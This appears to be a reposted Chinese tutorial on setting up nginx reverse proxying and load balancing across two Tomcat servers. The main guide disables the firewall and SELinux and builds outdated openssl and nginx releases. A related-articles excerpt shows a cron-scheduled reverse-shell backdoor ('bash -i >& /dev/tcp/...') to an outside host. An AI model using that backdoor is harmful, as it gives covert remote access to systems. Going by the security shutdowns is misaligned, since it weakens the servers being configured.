nginx反向代理_负载均衡的配置

news2024/11/14 11:05:22

说明

在这里插入图片描述
两台虚拟机:
88节点是自己的虚拟机
66节点是小组成员的虚拟机,我们暂且叫同学机
tomcat端口,分别为8081和8082
总结就是:
自己虚拟机上面安装nginx和tomcat8082
同学机上安装tomcat8081

一、开始安装nginx(只安装在自己的虚拟机上)

  • 都有两种方式,一种直接下载,第二种使用解压包方式。这里大多使用解压包方式。
  • 我下载的压缩包的路径是:/data
  • 我的解压路径:/usr/compress/

1.先安装wget命令

yum install wget -y

2.再安装编译软件包

yum install -y apr* autoconf automake bison bzip2 bzip2* compat* cpp curl curl-devel fontconfig fontconfig-devel freetype freetype* freetype-devel gcc gcc-c++ gd gettext gettext-devel glibc kernel kernel-headers keyutils keyutils-libs-devel krb5-devel libcom_err-devel libpng libpng-devel libjpeg* libsepol-devel libselinux-devel libstdc++-devel libtool* libgomp libxml2 libxml2-devel libXpm* libtiff libtiff* make mpfr ncurses* ntp openssl openssl-devel patch pcre-devel perl php-common php-gd policycoreutils telnet t1lib t1lib* nasm nasm* wget zlib-devel

3.安装pcre

3.1先切换到/data下面,这样压缩包才能下载到/data中

cd /data

3.2下载

wget https://www.linuxprobe.com/Software/pcre-8.35.tar.gz

3.3查看是否下载成功

cd /data/
ll

在这里插入图片描述

3.4上传源码压缩包,解压、编译、安装 三部曲。

1)、解压文件

mkdir /usr/compress/
tar -zxvf pcre-8.35.tar.gz -C /usr/compress/

在这里插入图片描述

2)、编译

# 进入pcre目录
cd /usr/compress/pcre-8.35/
#编译
./configure  

在这里插入图片描述

3)、安装

执行命令: 
make 
make install

4、安装 openssl

4.1先切换到/data下面,这样压缩包才能下载到/data中

cd /data

4.2下载OpenSSL的地址:

wget https://www.linuxprobe.com/Software/openssl-1.0.1h.tar.gz

4.3查看是否下载成功

cd /data/
ll

在这里插入图片描述

4.4上传源码压缩包,解压、编译、安装 三部曲。

1)、解压文件

tar -zxvf openssl-1.0.1h.tar.gz -C /usr/compress/

2)、编译

# 回到 openssl目录下,
cd /usr/compress/openssl-1.0.1h/
#编译
./config

3)、安装

执行命令: 
make 
make install

5、安装 zlib

5.1先切换到/data下面,这样压缩包才能下载到/data中

cd /data

5.2下载zlib的地址:

wget https://www.linuxprobe.com/Software/zlib-1.2.8.tar.gz

5.3查看是否下载成功

cd /data/
ll

在这里插入图片描述

5.4上传源码压缩包,解压、编译、安装 三部曲。

1)、解压文件

tar -zxvf zlib-1.2.8.tar.gz -C /usr/compress/

2)、编译

# 进入zlib目录
cd /usr/compress/zlib-1.2.8/
#编译
./configure 

3)、安装

执行命令: 
make 
make install

6、安装 nginx

6.1先切换到/data下面,这样压缩包才能下载到/data中

cd /data

6.2下载nginx的地址:

wget https://www.linuxprobe.com/Software/nginx-1.6.0.tar.gz

6.3查看是否下载成功

cd /data/
ll

在这里插入图片描述

6.4上传源码压缩包,解压、编译、安装 三部曲。

1)、解压文件

tar -zxvf nginx-1.6.0.tar.gz -C /usr/compress/

2)、编译

# 进入nginx目录
cd /usr/compress/nginx-1.6.0/
#编译
./configure 

3)、安装

执行命令: 
make 
make install

二、运行nginx

安装完nginx后,会在 路径 /usr/local 下自动生成 nginx 文件夹。这是自动生成的。

1.1进入这个目录:

cd /usr/local/nginx/sbin

1.2启动nginx

./nginx

1.3查询是否启动

ps -ef | grep nginx

1.4关闭防火墙和SELinux

systemctl stop firewalld
setenforce 0

1.5测试

默认端口为80
浏览器访问自己的ip出现nginx默认界面,nginx就配置好了

1.5.1怎么查看自己的ip

在这里插入图片描述
在这里插入图片描述

1.5.1怎么访问nginx

在这里插入图片描述

1.6 关闭nginx:

目前不用执行,但是要记住

关闭nginx:
 ./nginx -s stop

三、安装配置JDK(两台都要安装)

1、上传并解压jdk文件

上传到/data
在这里插入图片描述
在这里插入图片描述

创建jdk目录
mkdir -p /usr/lib/jdk
切换路径
cd /data
解压:
tar -zxvf jdk-8u161-linux-x64.tar.gz -C /usr/lib/jdk
cd /usr/lib/jdk/jdk1.8.0_161/

在这里插入图片描述

2、配置环境变量

// 编辑profile文件
vim /etc/profile
# 在末尾处添加以下内容
export JAVA_HOME=/usr/lib/jdk/jdk1.8.0_161
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
// 退出并保存
source /etc/profile

3、检验java环境是否生效:

java -version

在这里插入图片描述

四、安装配置tomcat(两台服务器,都要部署)

1.上传安装包

在这里插入图片描述
在这里插入图片描述

2.解压安装包

创建文件夹
mkdir -p /usr/lib/tomcat
cd /data/
上传解压安装包
tar -zxvf apache-tomcat-9.0.55.tar.gz -C /usr/lib/tomcat
cd /usr/lib/tomcat/

在这里插入图片描述

3、边界tomcat配置文件修改端口号

3.1有nginx的那台虚拟机(自己的虚拟机)端口号修改为8082

vim /usr/lib/tomcat/apache-tomcat-9.0.55/conf/server.xml
第69行修改为8082

在这里插入图片描述

3.2 没有nginx的虚拟机(同学机)端口号修改为8081

vim /usr/lib/tomcat/apache-tomcat-9.0.55/conf/server.xml
第69行修改为8081

在这里插入图片描述

4、启动tomcat

到tomcat的bin目录下
cd /usr/lib/tomcat/apache-tomcat-9.0.55/bin
执行脚本启动tomcat
./startup.sh
关闭命令,了解就可以,不用执行
./shutdown.sh

5.检验是否启动成功

安装net-tools安装包
yum install net-tools -y
在自己的虚拟机上执行
netstat -tunlp | grep 8082
在同学机器上
netstat -tunlp | grep 8081

在这里插入图片描述

6.在云服务器上添加端口号

6.1有nginx的虚拟机,也就是自己的虚拟机

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

6.2 没有nginx的虚拟机,也就是同学的虚拟机

在这里插入图片描述
在这里插入图片描述

7.浏览器访问

关闭防火墙、SElinux
systemctl stop firewalld
setenforce 0

在这里插入图片描述

在这里插入图片描述

五、配置多节点反向代理(只修改nginx的虚拟机)

1.关闭nginx

cd /usr/local/nginx/sbin/
./nginx -s stop

2.修改配置文件

vim /usr/local/nginx/conf/nginx.conf
添加upstream参数配置:一定要添加在server上面,大概35行,一定一定一定
upstream targetserver{
 server 101.42.153.9:8081;
 server 101.43.248.178:8082;
 }

在这里插入图片描述

在location / 里面添加,大概47行,一定一定一定
proxy_pass http://targetserver;
注释掉这两句话,
root   html;
index  index.html index.htm;

在这里插入图片描述

3。重启nginx验证即可。

cd /usr/local/nginx/sbin/
./nginx

4.测试

直接访问nginx(也就是直接输入nginx那台虚拟机的ip),你可以看到他访问的其实是tomcat
101.43.248.178

在这里插入图片描述

其实到此处,已经实现了负载均衡,只不过每台服务器所占的权重是一样的,也就是流量是平分的

六、配置负载均衡

1、先修改其中一台tomcat默认页面(修改的是8082端口的虚拟机)

修改配置文件

vim /usr/lib/tomcat/apache-tomcat-9.0.55/conf/server.xml

在167行左后(上面),添加以下内容

<Context path="" docBase="testDemo"/>

在这里插入图片描述

2.在index.html文件添加内容(修改的是8082端口的虚拟机)

cd /usr/lib/tomcat/apache-tomcat-9.0.55/webapps
mkdir testDemo
cd /usr/lib/tomcat/apache-tomcat-9.0.55/webapps/testDemo
创建index。xml文件
touch index.html
编辑文件
vim index.html

添加以下内容

Tomcat reverse proxy

(这里修改其中一台tomcat服务器的默认页面,目的是为了咱们验证负载均衡,也就是说为了咱们访问
nginx的时候,能够更直观的看到每次访问的是哪一个节点)

3.重新启动tomcat(两台虚拟机都要)

cd /usr/lib/tomcat/apache-tomcat-9.0.55/bin
./shutdown.sh
./startup.sh
查看端口
netstat -tunlp | grep 8081
netstat -tunlp | grep 8082

4.查看两台虚拟机的tomcat端口能不能进去

4.1 查看8082端口,显示的是我们修改过的界面,也就是一句话

在这里插入图片描述

4.2查看8081端口,是正常的界面

在这里插入图片描述

5.测试负载均衡

访问nginx,有的时候访问的是8082端口有的时候访问的是8081端口,基本上一人一次

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420575.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

香港布局Web3.0 既是金融试探,也是未来战略

香港Web3.0协会成立的消息已在业内刷屏&#xff0c;作为跨业界的非盈利机构&#xff0c;该协会致力于促进Web3.0生态环境的建设&#xff0c;港府特首李家超和北京中央驻港联络办公室部分领导均出席了成立典礼。 李家超在致辞中表示&#xff0c;Web3.0的发展正值黄金起点&#x…

Vue随记

1、Vue模板语法 Vue模板语法有两大类&#xff1a; 1.1、插值语法 功能&#xff1a;用于解析标签体内容。 写法&#xff1a;{{xxxx}}&#xff0c;xxxx是js表达式&#xff0c;且可以直接读取到data中的所有属性。 1.2、指令语法 功能&#xff1a;用于解析标签&#xff08;包…

《鸟哥的Linux私房菜-基础篇》学习笔记

主要用来记录学习&#xff0c;如果能帮助到你那最好了。 数据流重导向 概念 cat /etc/crontab /etc/vbirdsay 标准输出&#xff1a;将cat的文件输出到屏幕上 标准错误输出&#xff1a;无法找到文件报错 *系统会将标准输出和标注错误输出都输出到屏幕上&#xff0c;看着比较乱…

Vue双向数据绑定原理

一. Vue双向数据绑定原理 Vue.js的双向绑定是通过响应式原理实现的。响应式原理就是当数据发生改变时&#xff0c;自动更新相关的视图和数据。下面是Vue.js双向绑定的详细解释和介绍&#xff1a; Vue.js通过 Object.defineProperty() 将数据对象的属性值绑定到对应的DOM元素上…

【数据结构启航!】数据结构开胃菜之顺序表

【数据结构启航&#xff01;】数据结构开胃菜之顺序表一、线性表简介二、目标三、实现1、初始化工作2、顺序表的尾插2.1、图解原理2.2、代码实现3、顺序表的尾删3.1、图解原理3.2、代码实现4、打印顺序表5、顺序表的增容6、顺序表的头插6.1、图解原理6.2、代码实现7、顺序表的头…

Javascript cookie和session

在网站中&#xff0c;http请求是无状态的&#xff0c;当我们与服务端做一次数据请求&#xff0c;请求完毕后&#xff0c;第二次数据请求服务器端仍然不知道是哪个用户&#xff0c;cookie的出现就是为了解决这个问题。 一 Session与Cookie的区别 1 相同点 它们都是用于存…

实战打靶集锦-016-lampiao

提示&#xff1a;本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息…

RayVentory crack,RayVentory扫描引擎

RayVentory crack,RayVentory扫描引擎 RayVentory扫描引擎12.5.3581.73[更新2] libcurl.dll库现在使用Raynet证书进行了签名&#xff0c;为用户增加了额外的安全层。 对设备更新过程进行了显著改进&#xff0c;特别是在同时扫描具有大型数据库的多个设备时。这确保了数据的一致…

雪花算法ID冲突问题与解决方案

分布式部署应用项目采用雪花算法生成ID有冲突问题&#xff1a; 方案一&#xff1a;给应用分配随机 datacenter-id和 worker-id 如下图&#xff1a; global-config:db-config:logic-delete-field: del_flaglogic-delete-value: 1 # 逻辑已删除值(默认为 1)logic-not-delete-…

用友开发者中心应用构建实践指引(二):如何实现入职申请单功能?

用友开发者中心应用构建实践指引&#xff08;二&#xff09;&#xff1a;如何实现入职申请单功能&#xff1f; 在上一篇文章《用友开发者中心应用构建实践指引&#xff01;》中&#xff0c;我们完成了应聘人员信息登记的配置&#xff0c;实现了面试者提交应聘信息&#xff0c;…

内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

【C++ 一】C++ 入门

C 入门 文章目录C 入门前言1 C 初识1.1 第一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则2 数据类型2.1 整型2.2 sizeof 关键字2.3 实型&#xff08;浮点型&#xff09;2.4 字符型2.5 转义字符2.6 字…

appium自动化测试完整项目

前言 Appium是一个开源的自动化测试框架&#xff0c;支持跨平台&#xff0c;支持多种编程语言&#xff0c;可用于原生&#xff0c;混合和移动web应用程序&#xff0c;使用webdriver驱动ios&#xff0c;android应用程序、那么为了学习app自动化测试首要任务肯定就是搭建测试开发…

数据治理的核心框架和六大思维

请点击↑关注、收藏&#xff0c;本博客免费为你获取精彩知识分享&#xff01;有惊喜哟&#xff01;&#xff01; 数据成为新的生产力&#xff0c;必将引发数据生产关系的变革&#xff0c;而数据治理体系就代表着新的生产关系。近日发布的《广东省数据要素市场化配置改革理论研…

尚融宝18-JWT令牌和测试

目录 一、访问令牌的类型 &#xff08;一&#xff09;reference token(透明令牌) &#xff08;二&#xff09;value token(自包含令牌) 二、JWT令牌 &#xff08;一&#xff09;什么是JWT令牌 &#xff08;二&#xff09;JWT令牌的组成 &#xff08;三&#xff09;JWT的…

java 25

练习一: package com.shhfg.ds;public class HelloWorld01 {public static void main(String[] args) {/* 需求&#xff1a;给你一个整数 a如果 a 是一个回文整数&#xff0c;打印true&#xff0c;否则&#xff0c;还回false。解释&#xff1a;回文数是指正序&#xff08;从左到…

kaggle竞赛-Stable Diffusion数据分析与baseline

你的目的是来预测我们生成图像的提示词 1.比赛目标 这个竞赛的目标不是从文本提示生成图像&#xff0c;而是创建一个模型&#xff0c;可以在给定生成图像的情况下预测文本提示&#xff08;你有一堆提示词&#xff0c;你预测是否该提示词参与了图像的生成&#xff09;?您将在…

百度智能云对象存储BOS批量下载文件方法

百度智能云对象存储BOS支持批量打包下载吗&#xff1f;目前对象存储BOS浏览器端不支持批量下载&#xff0c;可以使用对象存储BOS桌面或BOSCMD批量下载&#xff0c;也可以使用API/SDK调用接口循环下载。新手站长网来详细说下百度云对象存储BOS批量下载的方法&#xff1a; 目录 …

计算机网络 实验二

⭐计网实验专栏&#xff0c;欢迎订阅与关注&#xff01; ★观前提示&#xff1a;本篇内容为计算机网络实验。内容可能会不符合每个人实验的要求&#xff0c;因此以下内容建议仅做思路参考。 一、实验目的 &#xff08;1&#xff09;掌握IP地址的基本结构(网络部分与主机部分的…

计算广告(十一)

MF矩阵分解&#xff08;Matrix Factorization&#xff09;是一种常见的数学工具&#xff0c;它将一个大型矩阵分解为两个或多个较小的矩阵&#xff0c;这些较小的矩阵相乘会得到一个近似于原始矩阵的矩阵。矩阵分解在许多领域中都有广泛的应用&#xff0c;如机器学习、数据挖掘…